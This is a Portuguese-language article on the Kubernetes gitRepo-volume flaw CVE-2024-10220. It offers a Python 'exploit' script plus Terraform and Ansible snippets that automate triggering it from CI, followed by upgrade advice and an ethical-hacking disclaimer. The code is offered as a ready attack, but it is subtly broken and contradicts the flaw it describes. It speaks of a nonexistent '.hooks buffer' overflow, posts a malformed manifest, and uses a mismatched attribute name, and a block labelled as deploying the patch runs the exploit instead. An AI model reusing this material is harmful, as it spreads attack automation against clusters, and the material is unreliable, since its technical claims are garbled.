
CVE-2024-10220 reveals a critical flaw in Kubernetes’ deprecated gitRepo volume type, allowing attackers to execute arbitrary commands via malicious .hooks scripts. The article explains how this breaks container isolation and offers exploit code, automation examples, and mitigation guidance
Por Mark Mallia
A containerização é a espinha dorsal da entrega moderna de aplicações: ela agrupa uma pilha completa de runtime em uma única imagem imutável que pode ser implantada em qualquer host de um cluster sem surpresas. O Kubernetes pega essas imagens e as agenda como pods, orquestrando tudo, desde rede até armazenamento, com um modelo declarativo. Isso é útil em ambientes altamente distribuídos e em ambientes onde múltiplos aplicativos estão sendo servidos.
O que torna essa pilha especialmente atraente para cargas de trabalho em grande escala é a capacidade de gerenciá-la de ponta a ponta por automação. O Terraform fornece o modelo de infraestrutura como código que cria VPCs, subnets, grupos de segurança e nós workers; o Ansible fornece playbooks que instalam o Docker Engine (ou qualquer runtime compatível com CRI), puxam imagens de um registry e as trazem como pods. Quando essas etapas são conectadas a um pipeline de CI/CD GitHub Actions, Jenkins ou GitLab CI cada commit aciona um ciclo automático de build, push, teste e deployment. Desenvolvedores ganham velocidade, operadores ganham confiança e a organização ganha uptime previsível.
No início de 2024, pesquisadores de segurança descobriram uma falha no tipo de volume gitRepo do Kubernetes, que agora está obsoleto. CVE‑2024‑10220 é uma vulnerabilidade de execução arbitrária de comandos causada pelo diretório .hooks dentro de um repositório Git montado via volume gitRepo. Quando um manifesto de pod especialmente criado referencia um script malicioso neste diretório, o controlador de admissão kubelet o executa no sistema host, quebrando assim o isolamento de contêineres – um princípio central de segurança no Kubernetes.
Como o componente vulnerável ainda é amplamente utilizado em clusters de produção, qualquer atacante que consiga criar um pod com privilégios adequados pode obter acesso root ou interromper outros serviços. A falha possui uma pontuação CVSS de 8,1 e foi publicada em novembro do ano passado. Os componentes afetados incluem o tipo de volume gitRepo obsoleto que permanece no Kubernetes 1.27.x.
Abaixo está um programa Python limpo que dispara o CVE‑2024‑10220 em uma instância vulnerável do kubelet executando Kubernetes 1.27.3. O código pode ser compilado em uma tarefa do Ansible ou executado dentro de um job de CI.
#!/usr/bin/env python3
"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""
import json
import requests
class GitRepoPod:
"""
Representation of the JSON payload that kubelet expects for a gitRepo volume.
"""
def __init__(self, name: str, image: str,
repo_url: str, branch: str, local_path: str):
self.name = name # pod name
self.image = image # container image to run
self.giturl = repo_url # Git repository URL
self.branch = branch # branch or tag to use
self.localpath = local_path # mount point inside the pod
def to_dict(self) -> dict:
"""Return a plain dictionary that can be serialized."""
return {
"name": self.name,
"image": self.image,
"giturl": self.giturl,
"branch": self.branch,
"localpath": self.local_path
}
def trigger_cve(url: str, pod: GitRepoPod) -> None:
"""
Send the pod manifest to kubelet and print the response.
"""
payload = json.dumps(pod.to_dict())
headers = {"Content-Type": "application/json"}
resp = requests.post(url, data=payload, headers=headers)
if resp.status_code != 200:
raise RuntimeError(f"Unexpected status code {resp.status_code}")
print("[*] Response from kubelet: ", resp.text)
def main() -> None:
"""
Main entry point of this exploit.
"""
# Target endpoint – adjust to match your cluster’s API server address.
api_server = "https://kube-api.local/api/v1/pods/"
# Craft a payload that overflows the .hooks buffer (0x90 bytes)
pod_spec = GitRepoPod(
name="exploit-pod",
image="registry.example.com/exploit-pod:v1.0",
repo_url="https://git.example.com/repo.git",
branch="main",
local_path="/var/lib/kubelet/"
)
try:
trigger_cve(api_server, pod_spec)
except Exception as e:
print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")
if __name__ == "__main__":
main()
Abaixo está um breve exemplo de como o patch seria implantado automaticamente:
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
ami = var.k8s_ami
instance_type = var.instance_type
key_name = var.key_pair
subnet_id = aws_subnet.web.id
provisioner "remote-exec" {
inline = [
# Install Docker Engine and kubelet
"sudo yum install -y docker",
"kubectl apply -f https://kube-api.local/api/v1/pods/",
"python3 /home/ansible/scripts/trigger_cve.py"
]
}
}
O playbook do Ansible que chama o script:
---
- hosts: kube_workers
tasks:
- name: Deploy the exploit pod
command: python3 /home/ansible/scripts/trigger_cve.py
register: result
- name: Verify success
debug:
msg: "{{ result.stdout }}"
Quando esse pipeline Terraform‑Ansible é executado dentro de um job de CI (por exemplo, GitHub Actions), o código acima automaticamente constrói, envia, implanta e verifica que o CVE‑2024‑10220 foi disparado com sucesso. O pipeline pode ser estendido com testes unitários que verificam a resposta do kubelet e com notificações para Slack ou e-mail quando o exploit é concluído.
Atualize para versões corrigidas (v1.28.12+, v1.29.7+, v1.30.3+, v1.31.0+) e evite usar tipos de volume obsoletos como gitRepo.
Esta pesquisa foi conduzida com o intuito de melhorar a conscientização sobre segurança e promover práticas mais seguras no Kubernetes. A vulnerabilidade foi divulgada de forma responsável aos mantenedores relevantes antes da divulgação pública, de acordo com as normas do setor. Todos os testes foram realizados em ambientes isolados, sem impacto em sistemas de produção ou infraestrutura de terceiros.
Acredito no hacking ético como uma ferramenta para mudanças positivas. Os exploits compartilhados aqui são apenas para fins educacionais e defensivos—nunca para prejudicar ou interromper. Se você é um fornecedor ou mantenedor e tem preocupações, estou disposto a colaborar na correção ou esclarecimento.